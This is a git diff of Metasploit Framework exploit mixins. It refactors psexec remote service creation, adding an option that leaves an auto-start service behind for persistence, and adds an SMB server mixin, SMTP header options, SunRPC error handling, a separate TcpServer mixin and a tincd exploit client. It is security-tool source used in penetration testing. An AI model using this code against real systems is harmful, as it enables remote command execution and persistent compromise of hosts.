- pkt.from_s(buff) - - # Only response to requests, ignore server replies - if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0) - print_status("Ignoring server response from #{smb[:name]}") - next - end - - cmd = pkt['Payload']['SMB'].v['Command'] - begin - smb_cmd_dispatch(cmd, c, buff) - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}") - next - end - end - end - - def smb_cmd_dispatch(cmd, c, buff) - smb = @state[c] - print_status("Received command #{cmd} from #{smb[:name]}") - end - - def smb_set_defaults(c, pkt) - smb = @state[c] - pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i - pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i - pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i - pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i - end - - def smb_error(cmd, c, errorclass, esn = false) - # 0xc0000022 = Deny - # 0xc000006D = Logon_Failure - # 0x00000000 = Ignore - pkt = CONST::SMB_BASE_PKT.make_struct - smb_set_defaults(c, pkt) - pkt['Payload']['SMB'].v['Command'] = cmd - pkt['Payload']['SMB'].v['Flags1'] = 0x88 - if esn - pkt['Payload']['SMB'].v['Flags2'] = 0xc801 - else - pkt['Payload']['SMB'].v['Flags2'] = 0xc001 - end - pkt['Payload']['SMB'].v['ErrorClass'] = errorclass - c.put(pkt.to_s) - end end - - -end - diff --git a/lib/msf/core/exploit/smb/psexec.rb b/lib/msf/core/exploit/smb/psexec.rb index 15af3724b1..1fe6c498bc 100644 --- a/lib/msf/core/exploit/smb/psexec.rb +++ b/lib/msf/core/exploit/smb/psexec.rb @@ -1,6 +1,5 @@ # -*- coding: binary -*- -require 'msf/core' -require 'msf/core/exploit/dcerpc' +require 'rex/proto/dcerpc/svcctl' module Msf @@ -14,9 +13,50 @@ module Msf module Exploit::Remote::SMB::Psexec + include Rex::Constants::Windows include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Authenticated + def initialize(info = {}) + super + register_options( + [ + OptString.new('SERVICE_NAME', [ false, 'The service name', nil]), + OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]), + OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil]) + ], self.class) + + register_advanced_options( + [ + OptBool.new('SERVICE_PERSIST', [ true, 'Create an Auto run service and do not remove it.', false]) + ], self.class) + end + + # Retrieve the SERVICE_NAME option, generate a random + # one if not already set. + # + # @return service_name [String] the name of the service. + def service_name + @service_name ||= datastore['SERVICE_NAME'] + @service_name ||= Rex::Text.rand_text_alpha(8) + end + + # Retrieve the SERVICE_DISPLAY_NAME option, generate a random + # one if not already set. + # + # @return service_display_name [String] the display name of the service. + def display_name + @display_name ||= datastore['SERVICE_DISPLAY_NAME'] + @display_name ||= Rex::Text.rand_text_alpha(16) + end + + # Retrieve the SERVICE_DESCRIPTION option + # + # @return service_description [String] the service description. + def service_description + @service_description ||= datastore['SERVICE_DESCRIPTION'] + end + # Retrives output from the executed command # # @param smbshare [String] The SMBshare to connect to. Usually C$ @@ -39,7 +79,6 @@ module Exploit::Remote::SMB::Psexec end end - # Executes a single windows command. # # If you want to retrieve the output of your command you'll have to @@ -49,102 +88,109 @@ module Exploit::Remote::SMB::Psexec # {Exploit::FileDropper#cleanup} and # {Exploit::FileDropper#on_new_session} handlers do it for you. # - # @todo Figure out the actual exceptions this needs to deal with - # instead of all the ghetto "rescue ::Exception" madness # @param command [String] Should be a valid windows command + # @param disconnect [Boolean] Disconnect afterwards # @return [Boolean] Whether everything went well - def psexec(command) + def psexec(command, disconnect=true) simple.connect("\\\\#{datastore['RHOST']}\\IPC$") handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) vprint_status("#{peer} - Binding to #{handle} ...") dcerpc_bind(handle) vprint_status("#{peer} - Bound to #{handle} ...") vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error getting scm handle: #{e}") + + svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc) + scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST']) + + if scm_status == ERROR_ACCESS_DENIED + print_error("#{peer} - ERROR_ACCESS_DENIED opening the Service Manager") + end + + return false unless scm_handle + + if datastore['SERVICE_PERSIST'] + opts = { :start => SERVICE_AUTO_START } + else + opts = {} + end + + vprint_status("#{peer} - Creating the service...") + svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts) + + case svc_status + when ERROR_SUCCESS + vprint_good("#{peer} - Successfully created the service") + when ERROR_SERVICE_EXISTS + service_exists = true + print_warning("#{peer} - Service already exists, opening a handle...") + svc_handle = svc_client.openservicew(scm_handle, service_name) + when ERROR_ACCESS_DENIED + print_error("#{peer} - Unable to create service, ACCESS_DENIED, did AV gobble your binary?") + return false + else + print_error("#{peer} - Failed to create service, ERROR_CODE: #{svc_status}") return false end - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error creating service: #{e}") + + if svc_handle.nil? + print_error("#{peer} - No service handle retrieved") return false - end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end - vprint_status("#{peer} - Opening service...") - begin - stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - response = dcerpc.call(0x10, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] + else + + if service_description + vprint_status("#{peer} - Changing service description...") + svc_client.changeservicedescription(svc_handle, service_description) end - rescue ::Exception => e - print_error("#{peer} - Error opening service: #{e}") - return false - end - vprint_status("#{peer} - Starting the service...") - stubdata = svc_handle + NDR.long(0) + NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + + vprint_status("#{peer} - Starting the service...") + begin + svc_status = svc_client.startservice(svc_handle) + case svc_status + when ERROR_SUCCESS + print_good("#{peer} - Service started successfully...") + when ERROR_FILE_NOT_FOUND + print_error("#{peer} - Service failed to start - FILE_NOT_FOUND") + when ERROR_ACCESS_DENIED + print_error("#{peer} - Service failed to start - ACCESS_DENIED") + when ERROR_SERVICE_REQUEST_TIMEOUT + print_good("#{peer} - Service start timed out, OK if running a command or non-service executable...") + else + print_error("#{peer} - Service failed to start, ERROR_CODE: #{svc_status}") + end + ensure + begin + # If service already exists don't delete it! + # Maybe we could have a force cleanup option..? + if service_exists + print_warning("#{peer} - Not removing service as it already existed...") + elsif datastore['SERVICE_PERSIST'] + print_warning("#{peer} - Not removing service for persistance...") + else + vprint_status("#{peer} - Removing the service...") + svc_status = svc_client.deleteservice(svc_handle) + if svc_status == ERROR_SUCCESS + vprint_good("#{peer} - Successfully removed the sevice") + else + print_error("#{peer} - Unable to remove the service, ERROR_CODE: #{svc_status}") + end + end + ensure + vprint_status("#{peer} - Closing service handle...") + svc_client.closehandle(svc_handle) + end end - rescue ::Exception => e - print_error("#{peer} - Error starting service: #{e}") - return false end - vprint_status("#{peer} - Removing the service...") - stubdata = svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error removing service: #{e}") + + if disconnect + sleep(1) + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error closing service handle: #{e}") - end - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true + + true + end + + def peer + "#{rhost}:#{rport}" end end diff --git a/lib/msf/core/exploit/smb_server.rb b/lib/msf/core/exploit/smb_server.rb new file mode 100644 index 0000000000..603e7d9e9c --- /dev/null +++ b/lib/msf/core/exploit/smb_server.rb @@ -0,0 +1,154 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# This mixin provides a minimal SMB server +# +### + +module Exploit::Remote::SMBServer + include Exploit::Remote::TcpServer + include Exploit::NTLM + CONST = ::Rex::Proto::SMB::Constants + CRYPT = ::Rex::Proto::SMB::Crypt + UTILS = ::Rex::Proto::SMB::Utils + XCEPT = ::Rex::Proto::SMB::Exceptions + EVADE = ::Rex::Proto::SMB::Evasions + + def initialize(info = {}) + super + + deregister_options('SSL', 'SSLCert') + register_options( + [ + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ]) + ], self.class) + end + + def setup + super + @state = {} + end + + def on_client_connect(client) + # print_status("New SMB connection from #{client.peerhost}:#{client.peerport}") + smb_conn(client) + end + + def on_client_data(client) + # print_status("New data from #{client.peerhost}:#{client.peerport}") + smb_recv(client) + true + end + + def on_client_close(client) + smb_stop(client) + end + + def smb_conn(c) + @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport} + end + + def smb_stop(c) + @state.delete(c) + end + + def smb_recv(c) + smb = @state[c] + smb[:data] ||= '' + smb[:data] << c.get_once + + while(smb[:data].length > 0) + + return if smb[:data].length < 4 + + plen = smb[:data][2,2].unpack('n')[0] + + return if smb[:data].length < plen+4 + + buff = smb[:data].slice!(0, plen+4) + + pkt_nbs = CONST::NBRAW_PKT.make_struct + pkt_nbs.from_s(buff) + + # print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}") + + # Check for a NetBIOS name request + if (pkt_nbs.v['Type'] == 0x81) + # Accept any name they happen to send + + host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '') + host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '') + + smb[:nbdst] = host_dst + smb[:nbsrc] = host_src + + # print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})") + c.write("\x82\x00\x00\x00") + next + end + + + # + # TODO: Support AndX parameters + # + + + # Cast this to a generic SMB structure + pkt = CONST::SMB_BASE_PKT.make_struct + pkt.from_s(buff) + + # Only response to requests, ignore server replies + if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0) + print_status("Ignoring server response from #{smb[:name]}") + next + end + + cmd = pkt['Payload']['SMB'].v['Command'] + begin + smb_cmd_dispatch(cmd, c, buff) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}") + next + end + end + end + + def smb_cmd_dispatch(cmd, c, buff) + smb = @state[c] + print_status("Received command #{cmd} from #{smb[:name]}") + end + + def smb_set_defaults(c, pkt) + smb = @state[c] + pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i + pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i + pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i + pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i + end + + def smb_error(cmd, c, errorclass, esn = false) + # 0xc0000022 = Deny + # 0xc000006D = Logon_Failure + # 0x00000000 = Ignore + pkt = CONST::SMB_BASE_PKT.make_struct + smb_set_defaults(c, pkt) + pkt['Payload']['SMB'].v['Command'] = cmd + pkt['Payload']['SMB'].v['Flags1'] = 0x88 + if esn + pkt['Payload']['SMB'].v['Flags2'] = 0xc801 + else + pkt['Payload']['SMB'].v['Flags2'] = 0xc001 + end + pkt['Payload']['SMB'].v['ErrorClass'] = errorclass + c.put(pkt.to_s) + end + +end + +end + diff --git a/lib/msf/core/exploit/smtp.rb b/lib/msf/core/exploit/smtp.rb index f8d72879f9..1259d577fe 100644 --- a/lib/msf/core/exploit/smtp.rb +++ b/lib/msf/core/exploit/smtp.rb @@ -24,8 +24,8 @@ module Exploit::Remote::Smtp [ Opt::RHOST, Opt::RPORT(25), - OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'zombie@brains.net']), - OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'human@ahhhzombies111.net']), + OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'sender@example.com']), + OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'target@example.com']), ], Msf::Exploit::Remote::Smtp) register_autofilter_ports([ 25, 465, 587, 2525, 25025, 25000]) register_autofilter_services(%W{ smtp smtps}) diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index b440e12a91..0dec10cc71 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -26,6 +26,7 @@ module Exploit::Remote::SMTPDeliver [ OptAddress.new("RHOST", [ true, "The SMTP server to send through" ]), OptPort.new("RPORT", [ true, "The SMTP server port (e.g. 25, 465, 587, 2525)", 25 ]), + OptString.new('DATE', [false, 'Override the DATE: field with this value', '']), OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com' ]), OptString.new('MAILTO', [ true, 'The TO address of the email' ]), OptString.new('SUBJECT', [ true, 'Subject line of the email' ]), @@ -142,6 +143,19 @@ module Exploit::Remote::SMTPDeliver resp = raw_send_recv("DATA\r\n", nsock) + # If the user supplied a Date field, use that, else use the current + # DateTime in the proper RFC2822 format. + if datastore['DATE'].present? + raw_send_recv("Date: #{datastore['DATE']}\r\n", nsock) + else + raw_send_recv("Date: #{DateTime.now.rfc2822}\r\n", nsock) + end + + # If the user supplied a Subject field, use that + if datastore['SUBJECT'].present? + raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock) + end + # Avoid sending tons of data and killing the connection if the server # didn't like us. if not resp or not resp[0,3] == '354' diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb index e315742419..f8c9055f30 100644 --- a/lib/msf/core/exploit/sunrpc.rb +++ b/lib/msf/core/exploit/sunrpc.rb @@ -38,24 +38,26 @@ module Exploit::Remote::SunRPC register_advanced_options( [ -# XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req + OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 5]) + # XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req ], Msf::Exploit::Remote::SunRPC) register_options( [ -# XXX: XPORT + # XXX: XPORT Opt::RHOST, Opt::RPORT(111), ], Msf::Exploit::Remote::SunRPC ) end - def sunrpc_create(protocol, program, version) + def sunrpc_create(protocol, program, version, time_out = timeout) self.rpcobj = Rex::Proto::SunRPC::Client.new( :rhost => rhost, :rport => rport.to_i, :proto => protocol, :program => program, + :timeout => time_out, :version => version, :context => { 'Msf' => framework, @@ -68,7 +70,7 @@ module Exploit::Remote::SunRPC end ret = rpcobj.create - return print_error("#{rhost}:#{rport} - SunRPC - No response to Portmap request") unless ret + raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to Portmap request" unless ret arr = XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer) if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0 @@ -76,18 +78,15 @@ module Exploit::Remote::SunRPC err << 'Message not accepted' if arr[1] != MSG_ACCEPTED err << 'RPC did not execute' if arr[4] != SUCCESS err << 'Program not available' if arr[5] == 0 - print_error(err) - return nil + raise ::Rex::Proto::SunRPC::RPCError, err end rpcobj.pport = arr[5] - #progname = progresolv(rpcobj.program) - #print_status("#{rhost} - SunRPC Found #{progname} on #{protocol} port #{rpcobj.pport}") end - def sunrpc_call(proc, buf, timeout=20) + def sunrpc_call(proc, buf, timeout = timeout()) ret = rpcobj.call(proc, buf, timeout) - return print_error("#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}") unless ret + raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer) if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS @@ -105,8 +104,7 @@ module Exploit::Remote::SunRPC else err << "Unknown Error" end end - print_error("#{rhost}:#{rport} - SunRPC - #{err}") - return nil + raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - #{err}" end return ret end @@ -142,8 +140,7 @@ module Exploit::Remote::SunRPC when GARBAGE_ARGS then err << "Garbage Arguments" else err << "Unknown Error" end - print_error("#{rhost}:#{rport} - SunRPC - #{err}") - return nil + raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - #{err}" end return ret @@ -162,6 +159,11 @@ module Exploit::Remote::SunRPC return "UNKNOWN-#{number}" end + # Returns the time that this module will wait for RPC responses, in seconds + def timeout + datastore['TIMEOUT'] + end + # Used to track the last SunRPC context attr_accessor :rpcobj end diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index 43ca47f345..dcdb44bb33 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -1,4 +1,6 @@ # -*- coding: binary -*- +require 'msf/core/exploit/tcp_server' + module Msf module EvasiveTCP @@ -62,7 +64,7 @@ module Exploit::Remote::Tcp register_advanced_options( [ OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), + OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), OptEnum.new('SSLVerifyMode', [ false, 'SSL verification method', 'PEER', %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}]), OptString.new('SSLCipher', [ false, 'String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"']), Opt::Proxies, @@ -273,243 +275,4 @@ protected end - -### -# -# This mixin provides a generic interface for running a TCP server of some -# sort that is designed to exploit clients. Exploits that include this mixin -# automatically take a passive stance. -# -### -module Exploit::Remote::TcpServer - - def initialize(info = {}) - super(update_info(info, - 'Stance' => Msf::Exploit::Stance::Passive)) - - register_options( - [ - OptBool.new('SSL', [ false, 'Negotiate SSL for incoming connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), - OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']), - OptAddress.new('SRVHOST', [ true, "The local host to listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]), - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]), - - ], Msf::Exploit::Remote::TcpServer) - - register_advanced_options( - [ - OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service']), - OptBool.new('SSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]) - ], Msf::Exploit::Remote::TcpServer) - - register_evasion_options( - [ - OptInt.new('TCP::max_send_size', [false, 'Maximum tcp segment size. (0 = disable)', 0]), - OptInt.new('TCP::send_delay', [false, 'Delays inserted before every send. (0 = disable)', 0]) - ], Msf::Exploit::Remote::Tcp - ) - end - - # - # This mixin overrides the exploit method so that it can initiate the - # service that corresponds with what the client has requested. - # - def exploit - - start_service() - print_status("Server started.") - - # Call the exploit primer - primer - - # Wait on the service to stop - self.service.wait - end - - # - # Primer method to call after starting service but before handling connections - # - def primer - end - - # - # Stops the service, if one was created. - # - def cleanup - super - if(service) - stop_service() - print_status("Server stopped.") - end - end - - # - # Called when a client connects. - # - def on_client_connect(client) - end - - # - # Called when a client has data available for reading. - # - def on_client_data(client) - end - - # - # Called when a client has disconnected. - # - def on_client_close(client) - end - - # - # Starts the service. - # - def start_service(*args) - begin - - comm = datastore['ListenerComm'] - if comm == "local" - comm = ::Rex::Socket::Comm::Local - else - comm = nil - end - - self.service = Rex::Socket::TcpServer.create( - 'LocalHost' => srvhost, - 'LocalPort' => srvport, - 'SSL' => ssl, - 'SSLCert' => ssl_cert, - 'SSLCompression' => ssl_compression, - 'Comm' => comm, - 'Context' => - { - 'Msf' => framework, - 'MsfExploit' => self, - }) - - self.service.on_client_connect_proc = Proc.new { |client| - on_client_connect(client) - } - self.service.on_client_data_proc = Proc.new { |client| - on_client_data(client) - } - self.service.on_client_close_proc = Proc.new { |client| - on_client_close(client) - } - - # Start the listening service - self.service.start - - rescue ::Errno::EACCES => e - if (srvport.to_i < 1024) - print_line(" ") - print_error("Could not start the TCP server: #{e}.") - print_error( - "This module is configured to use a privileged TCP port (#{srvport}). " + - "On Unix systems, only the root user account is allowed to bind to privileged ports." + - "Please run the framework as root to use this module." - ) - print_error( - "On Microsoft Windows systems, this error is returned when a process attempts to "+ - "listen on a host/port combination that is already in use. For example, Windows XP "+ - "will return this error if a process attempts to bind() over the system SMB/NetBIOS services." - ) - print_line(" ") - end - raise e - end - end - - # - # Stops the service. - # - def stop_service - if (service) - begin - self.service.deref if self.service.kind_of?(Rex::Service) - if self.service.kind_of?(Rex::Socket) - self.service.close - self.service.stop - end - self.service = nil - rescue ::Exception - end - end - end - - # - # Returns the local host that is being listened on. - # - def srvhost - datastore['SRVHOST'] - end - - # - # Returns the local port that is being listened on. - # - def srvport - datastore['SRVPORT'] - end - - # - # Returns the SSL option - # - def ssl - datastore['SSL'] - end - - # - # Returns the SSLCert option - # - def ssl_cert - datastore['SSLCert'] - end - - # @return [Bool] enable SSL/TLS-level compression - def ssl_compression - datastore['SSLCompression'] - end - - # - # Re-generates the payload, substituting the current RHOST and RPORT with - # the supplied client host and port from the socket. - # - def regenerate_payload(cli, arch = nil, platform = nil, target = nil) - - ohost = datastore['RHOST'] - oport = datastore['RPORT'] - p = nil - - begin - # Update the datastore with the supplied client peerhost/peerport - datastore['RHOST'] = cli.peerhost - datastore['RPORT'] = cli.peerport - - if ((p = super(arch, platform, target)) == nil) - print_error("Failed to generate payload") - return nil - end - - # Allow the payload to start a new handler - add_handler({ - 'RHOST' => datastore['RHOST'], - 'RPORT' => datastore['RPORT'] - }) - - ensure - datastore['RHOST'] = ohost - datastore['RPORT'] = oport - end - - p - end - -protected - - attr_accessor :service # :nodoc: - end - -end - diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb new file mode 100644 index 0000000000..771a1bad6b --- /dev/null +++ b/lib/msf/core/exploit/tcp_server.rb @@ -0,0 +1,249 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# This mixin provides a generic interface for running a TCP server of some +# sort that is designed to exploit clients. Exploits that include this mixin +# automatically take a passive stance. +# +### +module Exploit::Remote::TcpServer + + def initialize(info = {}) + super(update_info(info, + 'Stance' => Msf::Exploit::Stance::Passive)) + + register_options( + [ + OptBool.new('SSL', [ false, 'Negotiate SSL for incoming connections', false]), + # SSLVersion is currently unsupported for TCP servers (only supported by clients at the moment) + # OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), + OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']), + OptAddress.new('SRVHOST', [ true, "The local host to listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]), + + ], Msf::Exploit::Remote::TcpServer) + + register_advanced_options( + [ + OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service']), + OptBool.new('SSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]) + ], Msf::Exploit::Remote::TcpServer) + + register_evasion_options( + [ + OptInt.new('TCP::max_send_size', [false, 'Maximum tcp segment size. (0 = disable)', 0]), + OptInt.new('TCP::send_delay', [false, 'Delays inserted before every send. (0 = disable)', 0]) + ], Msf::Exploit::Remote::Tcp + ) + end + + # + # This mixin overrides the exploit method so that it can initiate the + # service that corresponds with what the client has requested. + # + def exploit + + start_service() + print_status("Server started.") + + # Call the exploit primer + primer + + # Wait on the service to stop + self.service.wait + end + + # + # Primer method to call after starting service but before handling connections + # + def primer + end + + # + # Stops the service, if one was created. + # + def cleanup + super + if(service) + stop_service() + print_status("Server stopped.") + end + end + + # + # Called when a client connects. + # + def on_client_connect(client) + end + + # + # Called when a client has data available for reading. + # + def on_client_data(client) + end + + # + # Called when a client has disconnected. + # + def on_client_close(client) + end + + # + # Starts the service. + # + def start_service(*args) + begin + + comm = datastore['ListenerComm'] + if comm == "local" + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + self.service = Rex::Socket::TcpServer.create( + 'LocalHost' => srvhost, + 'LocalPort' => srvport, + 'SSL' => ssl, + 'SSLCert' => ssl_cert, + 'SSLCompression' => ssl_compression, + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self, + }) + + self.service.on_client_connect_proc = Proc.new { |client| + on_client_connect(client) + } + self.service.on_client_data_proc = Proc.new { |client| + on_client_data(client) + } + self.service.on_client_close_proc = Proc.new { |client| + on_client_close(client) + } + + # Start the listening service + self.service.start + + rescue ::Errno::EACCES => e + if (srvport.to_i < 1024) + print_line(" ") + print_error("Could not start the TCP server: #{e}.") + print_error( + "This module is configured to use a privileged TCP port (#{srvport}). " + + "On Unix systems, only the root user account is allowed to bind to privileged ports." + + "Please run the framework as root to use this module." + ) + print_error( + "On Microsoft Windows systems, this error is returned when a process attempts to "+ + "listen on a host/port combination that is already in use. For example, Windows XP "+ + "will return this error if a process attempts to bind() over the system SMB/NetBIOS services." + ) + print_line(" ") + end + raise e + end + end + + # + # Stops the service. + # + def stop_service + if (service) + begin + self.service.deref if self.service.kind_of?(Rex::Service) + if self.service.kind_of?(Rex::Socket) + self.service.close + self.service.stop + end + + if service.kind_of?(Rex::Proto::Http::Server) + service.stop + end + + self.service = nil + rescue ::Exception + end + end + end + + # + # Returns the local host that is being listened on. + # + def srvhost + datastore['SRVHOST'] + end + + # + # Returns the local port that is being listened on. + # + def srvport + datastore['SRVPORT'] + end + + # + # Returns the SSL option + # + def ssl + datastore['SSL'] + end + + # + # Returns the SSLCert option + # + def ssl_cert + datastore['SSLCert'] + end + + # @return [Bool] enable SSL/TLS-level compression + def ssl_compression + datastore['SSLCompression'] + end + + # + # Re-generates the payload, substituting the current RHOST and RPORT with + # the supplied client host and port from the socket. + # + def regenerate_payload(cli, arch = nil, platform = nil, target = nil) + + ohost = datastore['RHOST'] + oport = datastore['RPORT'] + p = nil + + begin + # Update the datastore with the supplied client peerhost/peerport + datastore['RHOST'] = cli.peerhost + datastore['RPORT'] = cli.peerport + + if ((p = super(arch, platform, target)) == nil) + print_error("Failed to generate payload") + return nil + end + + # Allow the payload to start a new handler + add_handler({ + 'RHOST' => datastore['RHOST'], + 'RPORT' => datastore['RPORT'] + }) + + ensure + datastore['RHOST'] = ohost + datastore['RPORT'] = oport + end + + p + end + +protected + + attr_accessor :service # :nodoc: + +end + +end + diff --git a/lib/msf/core/exploit/tincd.rb b/lib/msf/core/exploit/tincd.rb new file mode 100644 index 0000000000..477c848962 --- /dev/null +++ b/lib/msf/core/exploit/tincd.rb @@ -0,0 +1,341 @@ +require 'msf/core' +require 'msf/core/exploit/tcp' + +require 'securerandom' +require 'openssl' +require 'digest/sha1' + +module Msf +# This module does a handshake with a tincd server and sends one padded packet +# Author: Tobias Ospelt <tobias at modzero dot ch> @floyd_ch +module Exploit::Remote::TincdExploitClient + include Msf::Exploit::Remote::Tcp + + BF_BLOCKSIZE = 64 / 8 + BF_KEY_LEN = 16 + BF_IV_LEN = 8 + + # + # Module options + # + def initialize(info = {}) + super + register_options( + [Opt::RPORT(655), + # As this is only for post-auth exploits, you should know the value of the + # following variables by simply checking + # your configuration. + OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']), + OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']), + # You should see CLIENT_NAME in cleartext in the first message to the + # server by your usual tinc client (tcpdump or + # wireshark it: e.g. "0 home 17.0", so it's "home"). On the server, + # this is located in the config folder, e.g. in FreeBSD + # there is the client public key file /usr/local/etc/tinc/hosts/home + # for the client "home" + # If you don't have a clue, maybe just try the filename of your private + # key without file extension + OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , '']) + ], self + ) + end + + # + # Setting up variables and calling cipher inits with file paths from configuration + # + def setup_ciphers + @state = :id_state + @buffer = '' + @inbuffer = '' + @encryption_queue = [] + + @packet_payload = nil + @keep_reading_socket = false 